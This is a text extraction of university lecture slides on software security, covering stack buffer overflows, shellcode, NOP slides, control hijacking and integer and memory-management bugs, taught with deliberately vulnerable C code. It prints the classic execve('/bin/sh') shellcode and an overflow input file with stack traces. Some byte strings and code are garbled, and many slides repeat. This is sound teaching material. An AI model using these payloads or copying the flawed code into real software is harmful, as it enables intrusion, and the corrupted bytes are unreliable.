Software Security (I): Buffer-overflow Attacks
Intro

CLIENT

HTTP REQUEST

HTTP RESPONSE

CLIENT ATTACKER

EXPLOIT

SERVER

Dawn Song

Remote Shell
Linux (32-bit) process memory layout

- **Reserved for Kernel**
- **User stack**
- **Shared libraries**
- **Run time heap**
- **Static data segment**
- **Text segment (program)**
- **Unused**

- `%esp` pointer
- `brk` pointer

- Loaded from `exec`
A quick example to illustrate multiple stack frames
Viewing Stack Frame with GDB

Compile:
```
gcc -g parse.c -o parse
```

Run:
```
./parse
```

Debug:
We can debug using gdb.
```
gdb parse
```
Then we can take a look at the stack.
```
(gdb) break 7
(gdb) run
(gdb) x/64x $esp
```

Our example modified to include a main function

```c
int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 128, fp);
    int header_ok = 0;
    if (cmd[0] == 'G')
        if (cmd[1] == 'E')
            if (cmd[2] == 'T')
                if (cmd[3] == ' ') header_ok = 1;
        if (!header_ok) return -1;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```
Viewing Stack Frame with GDB

Debug:

(gdb) x/64x $esp

Our running example modified to illustrate multiple stack frames

parse.c
What are buffer overflows?

```c
int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 256, fp);
    int header_ok = 0;
    ...
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:     int i = 0;
3:     while (in[i]! = '\0' && in[i]! = '\n') {
4:         out[i] = tolower(in[i]);
5:         i ++;
6:     }
7:     buf[i] = '\0';
8: }
9: int parse(FILE *fp) {
10:    char buf[5], *url, cmd[128];
11:    fread(cmd, 1, 256, fp);
12:    int header_ok = 0;
13:    ...
14:    url = cmd + 4;
15:    copy_lower(url, buf);
16:    printf("Location is %s\n", buf);
17:    return 0; }
18: /**
19:     * main to load a file and run parse *
20: ```
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!='$' && in[i]!='$n') {
4:       out[i] = tolower(in[i]);
5:       i++;
6:   }
7:   buf[i] = '$n';
8: }
9: int parse(FILE *fp) {
10:    char buf[5], *url, cmd[128];
11:    fread(cmd, 1, 256, fp);
12:    int header_ok = 0;
13:    ...
19:    url = cmd + 4;
20:    copy_lower(url, buf);
21:    printf("Location is %s\n", buf);
22:    return 0; }
23: /** main to load a file and run parse */
```

- **fp**
- **return address**
- **stack frame ptr**
- **url**
- **header_ok**
- **buf[4]**
- **buf[3,2,1,0]**
- **cmd[128,127,126,125]**
- **cmd[7,6,5,4]**
- **cmd[3,2,1,0]**

(file) (input file)

GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!="\0" && in[i]!="\n") {
4:      out[i] = tolower(in[i]);
5:      i++;
6:   }
7:   buf[i] = "\0";
8: }

9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 256, fp);
12:  int header_ok = 0;
13:  ...
19:  url = cmd + 4;
20:  copy_lower(url, buf);
21:  printf("Location is %s\n", buf);
22:  return 0;
23: }
```

(file) (input file)

**GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**
What are buffer overflows?

void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i] != '\0' && in[i] != '\n') {
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = '\0';
}

int parse(FILE* fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 256, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}

/**
main to load a file and run parse */

parse.c

(file)

(get input file)
What are buffer overflows?

```c
void copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i]!='\0' && in[i]!='\n') {
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = '\0';
}

int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 256, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```

(file) (input file)

GET AAAAAA

(fp) return address
(stack frame ptr) url
(header_ok) buf[4]
(cmd[128, 127, 126, 125])
(cmd[7, 6, 5, 4])
(cmd[3, 2, 1, 0])
(out) in
(return address) i
(stack frame ptr)
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:     int i = 0;
3:     while (in[i]!='$' && in[i]!='$n') {
4:         out[i] = tolower(in[i]);
5:         i++;
6:     }
7:     buf[i] = '$';
8: }

9: int parse(FILE *fp) {
10:    char buf[5], *url, cmd[128];
11:    fread(cmd, 1, 256, fp);
12:    int header_ok = 0;
13:    url = cmd + 4;
14:    copy_lower(url, buf);
15:    printf(“Location is %s\n”, buf);
16:    return 0; }
23: /** main to load a file and run parse */
```

Uh oh....
What are buffer overflows?

```
parse.c
1: void copy_lower (char* in, char* out) {
2:     int i = 0;
3:     while (in[i]!="\0" && in[i]!="\n") {
4:         out[i] = tolower(in[i]);
5:         i++;
6:     }
7:     buf[i] = '\0';
8: }
9: int parse(FILE *fp) {
10:    char buf[5], *url, cmd[128];
11:    fread(cmd, 1, 256, fp);
12:    int header_ok = 0;
13:    ...
19:    url = cmd + 4;
20:    copy_lower(url, buf);
21:    printf("Location is %s\n", buf);
22:    return 0; }
23: /**
24:  main to load a file and run parse */
```

Uh oh....
What are buffer overflows?

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]!="\0" && in[i]!="\n") {
4:     out[i] = tolower(in[i]);
5:     i++;
6:   }
7:   buf[i] = "\0";
8: }

9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 256, fp);
12:  int header_ok = 0;
//...
19:  url = cmd + 4;
20:  copy_lower(url, buf);
21:  printf("Location is %s\n", buf);
22:  return 0; }

/* main to load a file and run parse */
```
What are buffer overflows?

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 256, stdin);
    int header_ok = 0;

    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```

Uh oh....
What are buffer overflows?

parse.c

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]! = '\0' && in[i]!= '\n') {
4:       out[i] = tolower(in[i]);
5:       i++;
6:   }
7:   buf[i] = '\0';
8: }
9: int parse(FILE *fp) {
10:   char buf[5], *url, cmd[128];
11:   fread(cmd, 1, 256, fp);
12:   int header_ok = 0;
13:   url = cmd + 4;
14:   copy_lower(url, buf);
15:   printf(“Location is %s
”, buf);
16:   return 0; }
23: /**
24: main to load a file and run parse */
```

Uh oh....

(file) (input file)

GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What are buffer overflows?

And when you try to return from parse... ... SEGFAULT, since 0x61616161 is not a valid location to return to.
Basic Stack Exploit

- Overwriting the return address allows an attacker to redirect the flow of program control
- Instead of crashing, this can allow *arbitrary* code to be executed
  - Code segment called “shellcode”
- Example: the execve system call is used to execute a file
  - With the correct permissions, execve(“/bin/sh”) can be used to obtain a root-level shell.
Shellcode of execve

• How to develop shellcode that runs as execve("/bin/sh")?

```c
void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

(disassembly of execve call)*

```
0x80002bc <__execve>:
    pushl %ebp
0x80002bd <__execve+1>:
    movl %esp,%ebp
0x80002bf <__execve+3>:
    pushl %ebx
    The procedure prelude.
0x80002c0 <__execve+4>:
    movl $0xb,%eax
    Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve.
0x80002c5 <__execve+9>:
    movl 0x8(%,ebp),%ebx
    Copy the address of "/bin/sh" into EBX.
0x80002c8 <__execve+12>:
    movl 0xc(%ebp),%ecx
    Copy the address of name[] into ECX.
0x80002cb <__execve+15>:
    movl 0x10(%ebp),%edx
    Copy the address of the null pointer into %edx.
0x80002ce <__execve+18>:
    int $0x80
    Change into kernel mode.
```

(format instructions and data as characters)*

```
"xeb\x1f\x5e
\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd
\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff
xff\xff/bin/sh"
```

*For more details, refer to Smashing the stack by aleph one

Dawn Song
Basic Stack Exploit

So suppose we overflow with a string that looks like the assembly of:

Shell Code: `exec("/bin/sh")`

When the function exits, the user gets shell !!!

Note: shellcode runs in stack.
## Basic Stack Exploit

### parse.c
```c
1: void copy_lower (char* in, char* out) {
2:     int i = 0;
3:     while (in[i]!="\0" && in[i]!="\n") {
4:         out[i] = tolower(in[i]);
5:         i++;
6:     }
7:     buf[i] = "\0";
8: }

9: int parse(FILE *fp) {
10:     char buf[5], *url, cmd[128];
11:     fread(cmd, 1, 256, fp);
12:     int header_ok = 0;
13:     url = cmd + 4;
14:     copy_lower(url, buf);
15:     printf("Location is %s\n", buf);
16:     return 0; }
```

### file (input file)
```
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff
\xffAAAA\xe6b\xf7\x5e
\x89\xe6\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b
\x89\xe6\x8d\x4e\x08\x8d\x56\x0c\xdc\x80\x31\xdb
\x89\xe6\x40\xdc\x80\xe8\xdc\xff\xff\xff/bin/sh
```

### Stack Trace
```
0xbffff760 0x0804a008
0xbffff75c 0x080485a2
0xbffff758 0x61616161
0xbffff74c 0x61616161
0xbffff744 0x61616161
0xbffff740 0x61616161
0xbffff73c 0x00000000
0xbffff7d8 0xfffff764
0xbffff6c4 0x41414141
0xbffff6c0 0x20544547
```

### Variable Stack
- `fp`<br>- `return address`<br>- `stack frame ptr`<br>- `url`<br>- `header_ok`<br>- `buf[4]`<br>- `cmd[128,127,126,125]`<br>- `cmd[25,26,27,28]`<br>- `cmd[7,6,5,4]`<br>- `cmd[3,2,1,0]`<br>- `out`<br>- `in`<br>- `return address`<br>- `stack frame ptr`<br>- `i`
**Basic Stack Exploit**

```
1: void copy_lower (char* in, char* out) {
   2:     int i = 0;
   3:     while (in[i]! = '\0' && in[i]! = '\n') {
   4:         out[i] = tolower(in[i]);
   5:         i++;
   6:     }
   7:     buf[i] = '\0';
   8: }
9: int parse(FILE *fp) {
10:    char buf[5], *url, cmd[128];
11:    fread(cmd, 1, 256, fp);
12:    int header_ok = 0;
13:    url = cmd + 4;
14:    copy_lower(url, buf);
15:    printf("Location is %s\n", buf);
16:    return 0;
17: }
23: /**
24:   main to load a file and run parse */
```

**file**

```
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff
\xffAAAA\xe6b1\x5e
\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\x65\x0b
\x89\x3f\x8d\x4e\x08\x8d\x56\x0c\xc1\x80\x31\x6b
\x89\x3d\x40\xc1\x80\x6e\x8d\xc1\x8f\x6f\x6f\x6f/bin/sh
```

**OVERWRITE POINT!**

```
0xbffff760 0x0804008
0xbffff75c 0x08048564
0xbffff758 0x61616161
0xbffff74c 0x61616161
0xbffff748 0x61616161
0xbffff744 0x61616161
0xbffff740 0x61616161
0xbffff73c 0x00000000
0xbffff7d8 0xfffff764
0xbffff6c4 0x41414141
0xbffff6c0 0x20544547
0xbffff6b4 0xbffff740
0xbffff6b0 0xbffff6c4
0xbffff6ac 0x080485a2
0xbffff6a8 0xbffff758
0xbffff6a8 0x00000019
```

**fp**

**return address**

**stack frame ptr**

**url**

**header_ok**

**buf[3,2,1,0]**

**cmd[128,127,126,125]**

**cmd[25,26,27,28]**

**cmd[7,6,5,4]**

**cmd[3,2,1,0]**

**out**

**in**

**return address**

**stack frame ptr**

**fp**
Basic Stack Exploit

```
parse.c

1: void copy_lower (char* in, char* out) {
2:  int i = 0;
3:  while (in[i]!={'\0' && in[i]!={'\n'}) {
4:      out[i] = tolower(in[i]);
5:      i++;
6:  }
7:  buf[i] = {'\0';
8:}

9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 256, fp);
12:  int header_ok = 0;
13:  url = cmd + 4;
14:  copy_lower(url, buf);
15:  printf("Location is %s\n", buf);
16:  return 0; }
23: /**
24:  main to load a file and run parse */

file

GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\x7f
\x7fAAA\xe8\x1f\x7e
\x89\x76\x88\x31\x88\x08\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b
\x89\x76\x88\x46\x46\x0c\x0b\x0b

(Unallocated)
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
Basic Stack Exploit

parse.c

```c
int parse(FILE *fp) {
  char buf[5], *url, cmd[128];
  fread(cmd, 1, 256, fp);
  int header_ok = 0;
  url = cmd + 4;
  copy_lower(url, buf);
  printf(“Location is %s\n”, buf);
  return 0;
}
```

**OVERWRITE POINT!**

```
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff
\xffAAAA|\xeb|x1f|x5e
\x89\x76|x08|x31|xc0|x88|\x46|\x46|x0c|\xb0|x0b
|\x89\xfc|\x88|\x4e|\x08|\x8d|\x65|\x0c|\xc6|\x80|x31|xdb
|\x89\xda|\x40|\xc6|\x80|xe8|xdc|\xff|\xff|\xff/bin/sh
```

file

(Unallocated)
Basic Stack Exploit

parse.c

```c
int copy_lower (char* in, char* out) {
    int i = 0;
    while (in[i] != '\0' && in[i] != '\n') {
        out[i] = tolower(in[i]);
        i++;
    }
    buf[i] = '\0';
}
```

```c
int parse(FILE *fp) {
    char buf[5], *url, cmd[128];
    fread(cmd, 1, 256, fp);
    int header_ok = 0;
    url = cmd + 4;
    copy_lower(url, buf);
    printf("Location is %s\n", buf);
    return 0;
}
```

file

```
GETAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

(Unallocated)
**Basic Stack Exploit**

```
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i] != '\0' && in[i] != '\n') {
4:       out[i] = tolower(in[i]);
5:       i++;
6:   }
7:   buf[i] = '\0';
8:}
9: int parse(FILE *fp) {
10:   char buf[5], *url, cmd[128];
11:   fread(cmd, 1, 256, fp);
12:   int header_ok = 0;
13:   url = cmd + 4;
14:   copy_lower(url, buf);
15:   printf("Location is %s\n", buf);
16:   return 0; }
23: /** main to load a file and run parse */
```
The NOP Slide

Problem: how does attacker determine ret-address?

Solution: NOP slide
- Guess approximate stack state when the function is called
- Insert many NOPs before Shell Code

`/x90`
The NOP Slide

```c
1: void copy_lower (char* in, char* out) {
2:   int i = 0;
3:   while (in[i]! = '\0' && in[i]! = '\n') {
4:     out[i] = tolower(in[i]);
5:     i++;
6:   }
7:   buf[i] = '\0';
8: }
9: int parse(FILE *fp) {
10:  char buf[5], *url, cmd[128];
11:  fread(cmd, 1, 256, fp);
12:  int header_ok = 0;
13:  url = cmd + 4;
14:  copy_lower(url, buf);
15:  printf("Location is %s\n", buf);
16:  return 0;
17: }
18: /**
19:  main to load a file and run parse */
```
More on Stack Smashing

• Some complications on Shellcode:
  – Overflow should not crash program before the frame’s function exits
  – Shellcode may not contain the ‘\0’ character if copied using strcpy functions.

• Sample remote stack smashing overflows:
  – (2007) Overflow in Windows animated cursors (ANI)
Many unsafe libc functions

strcpy (char *dest, const char *src)
strcat (char *dest, const char *src)
gets (char *s)
scanf (const char *format, ... ) and many more.

• “Safe” libc versions strncpy(), strncat() are misleading
  – e.g. strncpy() may leave string unterminated.

• Windows C run time (CRT):
  – strcpy_s (*dest, DestSize, *src): ensures proper termination
General Control Hijacking: Return Address

**Overwrite Step:** Overwrite return address to point to your code.

**Activate Step:** Return out of frame and into your code.
General Control Hijacking: Local Fn Ptr

**Overwrite Step:** Overwrite local function pointer to point to your code.

**Activate Step:** Call that local function variable.
General Control Hijacking: Function Pointer in the Heap

**Overwrite Step:** Overwrite entries in a vtable for Object T.

**Activate Step:** Call any method from Object T
General Control Hijacking: Function Pointer in the Heap

**Overwrite Step:** Overwrite pointer to vtable on heap to point to a crafted vtable.

**Activate Step:** Call any method from Object T.
Attack: return-to-libc (arc injection)

- Control hijacking without executing code

Diagram:
- Stack with arguments, return address, stack frame pointer, buffer
- Library (libc.so) with exec(), printf(), "/bin/shell"
General Control Hijacking

**Control Flow Pointer**
- return address
- frame pointer
- exception Handler
- jump to address
- function pointer as local variable
- longjmp pointer
- function pointer in heap

**Overwrite Step:**
Find some way to **modify** a Control Flow Pointer to point to your shellcode, library entry point, or other code of interest.

**Activate Step:**
Find some way to **activate** that modified Control Flow Pointer.
## Instances of Control Hijacking

<table>
<thead>
<tr>
<th>Location in Memory</th>
<th>Control Flow Pointer</th>
<th>How to activate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack</td>
<td>Return Address</td>
<td>Return from function</td>
</tr>
<tr>
<td>Stack</td>
<td>Frame Pointer</td>
<td>Return from function</td>
</tr>
<tr>
<td>Stack</td>
<td>Function Pointers as local variables</td>
<td>Reference and call function pointer</td>
</tr>
<tr>
<td>Stack</td>
<td>Exception Handler</td>
<td>Trigger Exception</td>
</tr>
<tr>
<td>Heap</td>
<td>Function pointer in heap (i.e. method of an object)</td>
<td>Reference and call function pointer</td>
</tr>
<tr>
<td>Anywhere</td>
<td>setjmp and longjmp program state buffer</td>
<td>Call longjmp</td>
</tr>
</tbody>
</table>

![Diagram showing stack frame with control flow hijacking instances](image)
Data Hijacking

Modifying data in a way not intended

Example: Authentication variable

Exploited Situation:
User types in a password which is long enough to overflow buffer and into the authentication_variable. The user is now unintentionally authenticated.
Software Security (II): Other types of software vulnerabilities
Common Coding Errors

• Input validation vulnerabilities

• Memory management vulnerabilities

• TOCTTOU vulnerabilities
Input validation vulnerabilities

• Program requires certain assumptions on inputs to run properly
• Without correct checking for inputs
  – Program gets exploited
• Example:
  – Buffer overflow
  – Format string
Example I

```c
1:  unsigned int size;
2:  Data **datalist;
3:
4:  size = GetUntrustedSizeValue();
5:  datalist = (data **)malloc(size * sizeof(Data *));
6:  for(int i=0; i<size; i++) {
7:      datalist[i] = InitData();
8:  }
9:  datalist[size] = NULL;
10: ...
```
## Example II

```c
char buf[80];
void vulnerable()
{
    int len = read_int_from_network();
    char *p = read_string_from_network();
    if (len > sizeof(buf)) {
        error("length too large, nice try!");
        return;
    }
    memcpy(buf, p, len);
}
```

- **What's wrong with this code?**
- **Hint** – `memcpy()` prototype:
  - `void *memcpy(void *dest, const void *src, size_t n);`
- **Definition of** `size_t`: `typedef unsigned int size_t;`
- **Do you see it now?**

Dawn Song
Implicit Casting Bug

- Attacker provides a negative value for `len`
  - `if` won’t notice anything wrong
  - Execute `memcpy()` with negative third arg
  - Third arg is implicitly cast to an `unsigned int`, and becomes a very large positive int
  - `memcpy()` copies huge amount of memory into `buf`, yielding a buffer overrun!

- A signed/unsigned or an implicit casting bug
  - Very nasty – hard to spot

- C compiler doesn’t warn about type mismatch between `signed int` and `unsigned int`
  - Silently inserts an implicit cast
Example III (Integer Overflow)

Example III

```c
1: size_t len = read_int_from_network();
2: char *buf;
3: buf = malloc(len+5);
4: read(fd, buf, len);
5: ...
```

- What’s wrong with this code?
  - No buffer overrun problems (5 spare bytes)
  - No sign problems (all ints are unsigned)
- But, `len+5` can overflow if `len` is too large
  - If `len = 0xFFFFFFFF`, then `len+5` is 4
  - Allocate 4-byte buffer then read a lot more than 4 bytes into it: classic buffer overrun!
- Know programming language’s semantics well to avoid pitfalls

Dawn Song
Example IV

Example IV

```c
1:  char* ptr = (char*) malloc(SIZE);
2:  if (err) {
3:    abrt = 1;
4:    free(ptr);
5:  }
6: ...
7:  if (abrt) {
8:    logError("operation aborted before commit", ptr);
9:  }
```

- Use-after-free
- Corrupt memory

http://cwe.mitre.org
Example V

1: char* ptr = (char*) malloc(SIZE);
2: if (err) {
3:    abrt = 1;
4:    free(ptr);
5: }
6: ...
7: free(ptr);

- Double-free error
- Corrupts memory-management data structure
What are software vulnerabilities?

• Flaws in software
• Break certain assumptions important for security
  – What assumptions broken in buffer overflow?
Why does software have vulnerabilities?

• Programmers are humans!
  – Humans make mistakes!

• Programmers were not security aware

• Programming languages are not designed well for security
What can you do?

• Programmers are humans!
  – Humans make mistakes!
  – Use tools! (next lecture)

• Programmers were not security aware
  – Learn about different common classes of coding errors

• Programming languages are not designed well for security
  – Pick better languages